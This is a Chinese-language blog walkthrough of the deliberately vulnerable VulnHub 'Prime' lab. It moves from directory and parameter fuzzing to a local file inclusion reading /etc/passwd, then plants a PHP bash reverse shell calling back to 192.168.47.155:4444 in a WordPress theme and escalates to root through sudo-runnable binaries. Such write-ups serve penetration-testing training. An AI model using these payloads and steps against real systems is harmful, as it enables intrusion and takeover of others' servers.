Henry's Blog
  • CobaltStrike系列
    • CobaltStrike的基本操作
    • CobaltStrike会话管理
    • CobaltStrike重定向服务
    • CobaltStrike钓鱼攻击
    • 凭据导出与存储
    • Beacon的常用操作
    • DnsBeacon详解
    • 权限提升
    • 简单的内网信息收集
    • Cross2生成LinuxShell
    • CNA插件开发
    • Profile编写规则
    • BOF开发
    • execute-assembly原理
    • Vps搭建可能遇到的问题
  • OPSEC(免杀)
    • BypassPPL
    • Certutil绕过技巧
    • DLL劫持技术(白+黑)
    • PEB伪装
    • PpidSpoofing
    • Python反序列化免杀
    • WebShell绕过技巧
    • mimikatz免杀
    • 利用CobaltStrikeProfile实现免杀
    • 利用Windows异常机制实现Bypass
    • 削弱WindowsDefender
    • 模拟Powershell实现Bypass
    • 浅谈CobaltStrikeUDRL
    • 添加用户和计划任务(Bypass)
    • 移除NtDll的hook
    • 定位修改MsfShellcode特征码实现免杀
    • 利用COM接口实现进程断链执行.md
    • 免杀工具篇
      • Invoke-Obfuscation
      • Shellter
    • 流量检测逃避
      • CobaltStrike流量逃避.md
      • MSF流量加密.md
      • NC反弹Shell流量加密.md
  • Shellcode加密
    • 前置知识
    • XOR加密
    • AES加密
  • Shellcode加载器
    • 常见的加载方式
    • 分离加载
    • 创建纤程加载
    • 动态调用API加载
    • 基于APC注入加载
    • 基于反调试加载
    • 基于回调函数加载
    • 基于线程池加载
    • 模块踩踏
    • 进程镂空注入(傀儡进程)
    • 反射dll注入(内嵌式)
  • Web渗透
    • 信息收集
    • 各类Webshell
    • 基本漏洞利用
    • 远程命令执行漏洞
    • sql注入
    • sqlmap的使用方法
  • 内网渗透
    • 内网渗透前置知识
    • BadUsb制作
    • Linux反弹Shell总结
    • 内网渗透技术总结
    • 横向移动
      • GoToHttp
      • MS14-068
      • PassTheHash
      • PassTheTicket
      • Psexec
      • RustDesk
      • SMB横移
      • WMI横移
      • 用户枚举与爆破
    • 流量加密
      • CobaltStrike流量加密
      • MsfShell流量加密
      • OpenSSL加密反弹shell
  • 协议分析
    • TCP_IP协议
  • 权限提升
    • 土豆提权原理
    • UAC提权
  • 蓝队技术
    • 应急响应流程总结
  • 进程注入
    • Conhost注入
    • session0注入
    • 内核回调表注入
    • 剪切板注入
  • 逆向技术
    • HOOK技术
    • IDA遇到的坑
    • Shellcode的原理与编写
    • Windbg的使用
    • 使用Stardust框架编写Shellcode
    • PeToShellcode
    • 破解系列
      • PUSH窗体大法
      • VM绕过技巧(易语言)
      • Crackme_1
      • 反破解技术
      • 按钮事件特征码
      • 逆向调试符号
      • 破解实例
        • IDA逆向注册码算法
  • 钓鱼技术
    • Flash网页钓鱼
    • LNK钓鱼
    • 自解压程序加载木马
  • 隧道应用
    • 隧道应用前置知识
    • BurpSuite上游代理
    • DNS隧道传输
    • EarthWorm内网穿透
    • Frp内网穿透
    • ICMP隧道传输
    • MsfPortfwd端口转发
    • Neo-reGeorg内网穿透
    • NetCat工具使用
    • Netsh端口转发
    • SSH端口转发
    • 正向连接与反向连接
  • 基础学习
    • C和C++
      • C++编程
      • C程序设计
    • Linux学习
      • Linux Shell编程
      • linux基础
    • Python基础
      • python之Socket编程
      • python之多线程操作
      • python基础
      • python算法技巧
    • Qt基础
      • Qt笔记
    • 逆向基础
      • PE结构
      • Win32
      • 汇编语言
  • 漏洞复现
    • Web漏洞
      • ApacheShiro反序列化漏洞
    • 系统漏洞
      • Linux漏洞
        • ShellShock(CVE-2014-6271)
  • 靶场系列
    • Web靶场
      • pikachu靶场
      • sqli-labs
      • upload-labs
    • 内网靶场
      • Jarbas靶场
      • SickOS靶场
      • W1R3S靶场
      • prime靶场
      • vulnstack靶场系列一
      • vulnstack靶场系列二
      • vulnstack靶场系列四
  • 代码审计
    • PHP代码审计基础
  • 一些杂七杂八的
    • 开发工具与环境
      • Github的使用
      • JSP环境搭建
      • Pycharm设置代码片段
      • VS2017安装番茄助手(破解版)
      • VisualStudio项目模板的使用
      • WindowsServer搭建IIS环境
      • 安装Scoop
      • c++安装vcpkg
      • dotnet-cnblog的安装与使用
      • gitbook使用教程
      • kali安装burpsuite
      • 配置win2012域服务器
      • VSCode配置MinGW
    • 踩坑记录
      • BurpSuite导入证书
      • Powershell禁止执行脚本
      • centos7没有显示ip
      • kali安装pip2
      • oracle12没有scott用户
由 GitBook 提供支持
在本页
  • 靶场考察知识
  • Wordpress
  • Wpscan扫描工具
  • Openssl加解密
  • 靶场搭建
  • 渗透步骤
  • 信息收集
  • Web渗透
  • 主机提权
  • 1.查看权限
  • 2.搜索密码备份文件
  • 3.openssl解密
  • 4.获取flag
  1. 靶场系列
  2. 内网靶场

prime靶场

靶场考察知识

Wordpress

WordPress是一个免费的开源内容管理系统(CMS),可以用来创建和管理网站或博客。它是由PHP语言和MySQL数据库构建的,并且拥有大量的插件和主题,可以让您轻松地自定义网站的外观和功能

Wpscan扫描工具

WPScan是一款开源的WordPress安全扫描工具,常用于渗透测试WordPress网站。它运行在Kali Linux操作系统上,也可以在其他类Unix系统(如MacOS和Linux)上使用。

WPScan可以帮助您扫描WordPress网站以寻找漏洞,并尝试利用这些漏洞获得对目标网站的访问权限。它还可以帮助您识别目标网站使用的WordPress版本、插件和主题,并检测是否存在已知的漏洞, 下面是WPScan的一些常用操作:

1.扫描WordPress网站,列出发现的漏洞和配置问题

wpscan --url <target_url>

2.枚举WordPress网站的用户

wpscan --url <target_url> --enumerate u

3.列出WordPress网站所有安装的插件, 并检查是否存在可利用的漏洞

wpscan --url <target_url> --enumerate p

4.列出WordPress网站使用的所有主题, 并检查是否存在可利用的漏洞

wpscan --url <target_url> --enumerate t

Openssl加解密

Openssl是一个用于实现各种加密和安全协议的开源工具。可以使用openssl enc命令来加密文件,并使用openssl enc -d命令来解密加密文件

靶场搭建

prime靶场下载地址: https://download.vulnhub.com/prime/Prime_Series_Level-1.rar

渗透步骤

信息收集

1.namp扫描

扫描C段存活主机nmap -sn 192.168.47.0/24, 确定prime靶场主机为192.168.47.158

扫描开放端口, 只有22和80端口处于开放状态

2.dirb目录爆破

使用dirb对目标主机80端口进行爆破, 并将结果保存在当前文件夹的DirbReport.txt, 扫描结果如下图所示

dirb http://192.168.47.158 -o DirbReport.txt

访问目标网站的根目录, 只发现了一张kali图标图片, 没有其他线索

访问/dev目录, 页面提示意思, "你爆破的不够狠, 还需继续往深一点爆破", 也就是说它要求我们继续使用Dirb爆破, 从而获取更多信息

调整一下Dirb的使用参数, 爆破后缀名为txt和zip的文件(往往提示信息都是以文本文件为主), 扫描结果显示, 存在secret.txt文件

dirb http://192.168.47.158 -X .txt,.zip 

访问http://192.168.47.158/secret.txt, 页面显示一段话, 简单来说就是要我们对找到的每个php页面进行参数爆破, 并给予文章提供参考(https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web), 最后一段话还提示我们要获取了location.txt文件才能进行下一步的操作

根据上面的提示, 使用dirb对php页面进行爆破, 爆出image.php和index.php

dirb http://192.168.47.158 -X .php

3.wfuzz参数爆破

读取这篇github文章, 要求我们要用wfuzz命令来对php页面进行参数爆破, 还给了一行命令来演示: wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://website.com/secret.php?FUZZ=something

--hc 404表示不显示状态码为404的页面

使用如下命令对index.php的参数进行爆破, 从爆破结果来看, 出现了很多无效信息, 我们可以通过--hc或--hw, --hh来过滤信息

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://192.168.47.158/index.php?FUZZ=something

使用--hh参数排除页面响应长度为136的数据, 最终只显示一个参数结果: file

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.47.158/index.php?FUZZ=something

综合上述secret.txt中的最后一段话:"注意location.txt这个文件, 后续的操作你需要用到它", 或许这个file参数的值可以修改为location.txt

curl http://192.168.47.158/index.php?file=location.txt

从页面显示内容上看, 它要求你在其他php页面使用"secrettier360"参数, 也就是说要在image.php使用secrettier360参数

访问image.php页面并配合secrettier360参数, 页面显示"最终你找到了正确的参数"

curl http://192.168.47.158/image.php?secrettier360

Web渗透

1.文件包含漏洞

既然上述的提示说了secrettier360这个参数是正确的, 那么可以尝试下本地文件包含漏洞, 读取系统用户信息

成功读取到了用户信息,并且在最后面的saket用户给予了我们重要信息: 在/home/saket目录下寻找password.txt文件

curl http://192.168.47.158/image.php?secrettier360=../../../../../../etc/passwd

读取/home/saket/password.txt, 它给出的密码是follow_the_ippsec, 虽然我们不知道这个密码是用来干什么的, 但是我猜可能会是SSH远程登录或者网站管理员登录其中一个

先来尝试ssh远程登录, 在上述爆出的用户信息中, 可能登录成功的用户有两个, 分别是victor和saket, 经过ssh登录尝试后, 均登录失败

2.wordpress后台拿shell

从上述dirb爆破结果可知, 该网站是一个wordpress框架, 于是我们可以从该cms漏洞入手

使用wpscan针对wordpress框架的网站进行特定漏洞扫描, 如下命令用于枚举网站用户

wpscan --url http://192.168.47.158/wordpress -e u

结果显示只有一个victor用户, 在上述读取的用户信息中, 也有一个victor用户, 那么此用户很可能是管理员用户

在上述的dirb爆破结果中, 已经爆出后台管理员页面, 当然凭借经验我们也可以大概清楚后台页面地址, 浏览器访问http://192.168.47.158/wordpress/wp-admin/user/admin.php, 然后尝试使用victor/follow_the_ippsec登录, 很幸运, 登录成功了

找到插件功能处, 首先尝试插件上传功能, 判断是否存在文件上传漏洞

这里要求我们上传zip格式的文件, 随便上传一个压缩文件, 然后点击install Now上传

文件上传失败, 提示父级目录没有写的权限

既然文件上传不行, 那么就从主题编辑入手, 依次排查所有主题文件, 寻找能够编辑(拥有写的权限)的页面, 最终发现secret.php可以编辑

在secret.php插入反弹Shell代码: <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.47.155/4444 0>&1'");?>

我们可以通过搭建wordpress框架的网站来获取主题文件的网页路径, 这里secret.php的路径是http://192.168.47.158/wordpress/wp-content/themes/twentynineteen/secret.php

在kali开启监听, 然后访问secret.php触发反弹shell

主机提权

1.查看权限

输入sudo -l查看系统权限, 发现当前用户可以使用root权限, 而无需输入root用户密码执行/home/saket/enc

​

进入/home/saket目录, 当前目录下有password.txt和user.txt, 但是无法查看enc文件, 因为权限不足, 但是拥有执行的权限

\

执行enc文件, 随后要求输入当前用户的密码, 尝试输入password.txt里面的密码, 提示文件执行失败, 说明这个密码是错误的,我们还需要在此系统下深挖正确的密码

\

2.搜索密码备份文件

执行如下命令, 寻找系统的所有备份文件, 因为有时候管理员会在系统留有密码备份文件

find / -name '*backup*' 2>/dev/null  | less| sort
  • find / -name '*backup*':这个命令在根目录(即 /)中搜索文件。-name 选项指定了搜索的文件名模式,在这里是 '*backup*'。这个模式表示任何文件名包含字符串 "backup" 的文件。find 命令会返回所有符合条件的文件的路径。

  • 2>/dev/null: /dev/null 是一个特殊的文件,它的作用是丢弃所有写入它的数据。即将错误输出重定向到 /dev/null 就相当于丢弃所有错误信息(例如权限不足),只保留正常输出

  • | less:管道符(|)将前一个命令的输出传递给后一个命令。在这里,less 命令是一个文本浏览器,它可以让你在终端中浏览文本文件。将 find 的输出传递给 less 可以让你在终端中更方便地查看找到的文件的路径。

  • sort:这个命令对前一个命令的输出进行排序。在这里,它将找到的文件的路径按字母顺序排序。

从上述结果来看, 此系统存在很多备份文件, 而我们要寻找的是文件名带有user或者pass这种比较可疑的, 例如/opt/backup/server_database/backup_pass

查看/opt/backup/server_database/backup_pass, 文件提示: enc文件密码为"backup_password"

\

3.openssl解密

使用sudo执行enc, 并输入密码backup_password, 随后在当前文件夹生成enc.txt和key.txt

\

首先查看enc.txt, 文件内容是一段base64加密的字符串

\

查看key.txt, 文件内容提示, 需要对"ippsec"字符串进行md5加密

\

对"ippsec"字符串进行md5加密: echo -n "ippsec" | md5sum, 加密后的字符串为366a74cb3c959de17d61db30591c39d1

echo -n 表示 echo 命令不要输出换行符。这样,输出的字符串就不会换行,而是和 md5sum 的输出在同一行

\

在ctf靶场中看到enc和key这两个关键字, 第一时间就该想到openssl加解密, 也就是说要使用openssl命令, 通过key值去解密enc文件的加密字符串

首先查看openssl命令中支持哪些算法: openssl --help

\

将openssl中支持的加密算法名称保存在CryptType文件中

\

如下代码为openssl常用解密命令, "-d"参数表示解密,"-a"参数表示使用base64编码,"-K"参数表示使用的密钥(需为16进制), enc是OpenSSL的编码和加密的缩写,它是OpenSSL提供的一个命令行工具,用于加密和解密文件和信息

echo '{要解密的字符串}' | openssl enc -d -a -{解密算法} -K {key值}

\

首先要将key值"366a74cb3c959de17d61db30591c39d1"进行16进制编码, 可使用如下od命令

echo -n "366a74cb3c959de17d61db30591c39d1" | od -An -t x1
  • -An 表示不要输出地址信息。

  • -t x1 表示使用 16 进制编码输出每个字符

\

为了让结果看起来更加清晰, 可以使用tr命令删除结果里的空格和换行符, 最终16进制编码的结果是3336366137346362336339353964653137643631646233303539316333396431

echo -n "366a74cb3c959de17d61db30591c39d1" | od -An -t x1 | tr -d ' '

\

可以使用Shell代码批量使用openssl命令对字符串尝试各种算法进行解密, 最终的执行结果提示, saket用户的密码为"tribute_to_ippsec"

for i in $(cat CryptType);do echo 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -d -a -$i -K 3336366137346362336339353964653137643631646233303539316333396431 2>/dev/null echo $i;done

具体来说,这段代码会对CryptType文件中的每一行读取一个算法名称,然后使用openssl命令对字符串进行解密,其中使用的算法名称就是从CryptType文件中读取的。最后将解密结果和解密算法输出

\

4.获取flag

ssh远程登录saket用户, 并输入解密出来的密码

\

为了获取一个交互性更好的shell, 可使用python命令: python -c 'import pty;pty.spawn("/bin/bash")'

\

查看当前用户的权限, 发现可以使用root权限无密码执行/home/victor/undefeated_victor

\

执行此文件时提示没有/tmp/challenge, 它可能暗示我们去创建一个

\

在tmp目录下创建challenge文件, 并写入如下内容

#!/bin/bash
/bin/bash

\

赋予challenge可执行权限, 随后执行/home/victor/undefeated_victor, 成功获取root权限

\

获取flag.txt

上一页W1R3S靶场下一页vulnstack靶场系列一

最后更新于7个月前

访问file参数: curl http://192.168.47.158/index.php?file , 页面显示:"干的不错, 但你挖的是一个错误的文件", 也就是说file参数没有指定正确的文件

\

image-20221222155435710
image-20221222155722023
image-20221222155734055
image-20221222162820356
image-20221222162918950
image-20221222163056554
image-20221222164750396
image-20221222165652921
image-20221223103906878
image-20221222165914416
image-20221223160928388
image-20221223161918406
image-20221223170145625
image-20221223171020276
image-20221228105610320
image-20221228105951449
image-20221228112512467
image-20221228112815237
image-20221228114401063
image-20221229001100937
image-20221229211836737
image-20221229212147832
image-20221229212231597
image-20221230113141576
image-20221230113557973
image-20221230114007571
image-20221231113137369
image-20221231113436806
image-20221231113557065
image-20221231123845436
image-20221231173403639
image-20221231173545156
image-20221231173621835
image-20221231174031288
image-20230101111848805
image-20230101111715897
image-20230103150235189
image-20230103150732332
image-20230101112502090
image-20230101113436881
image-20230101113526041
image-20230101160539561
image-20230101160726239
image-20230101161909272
image-20230101162148411
image-20230101162846255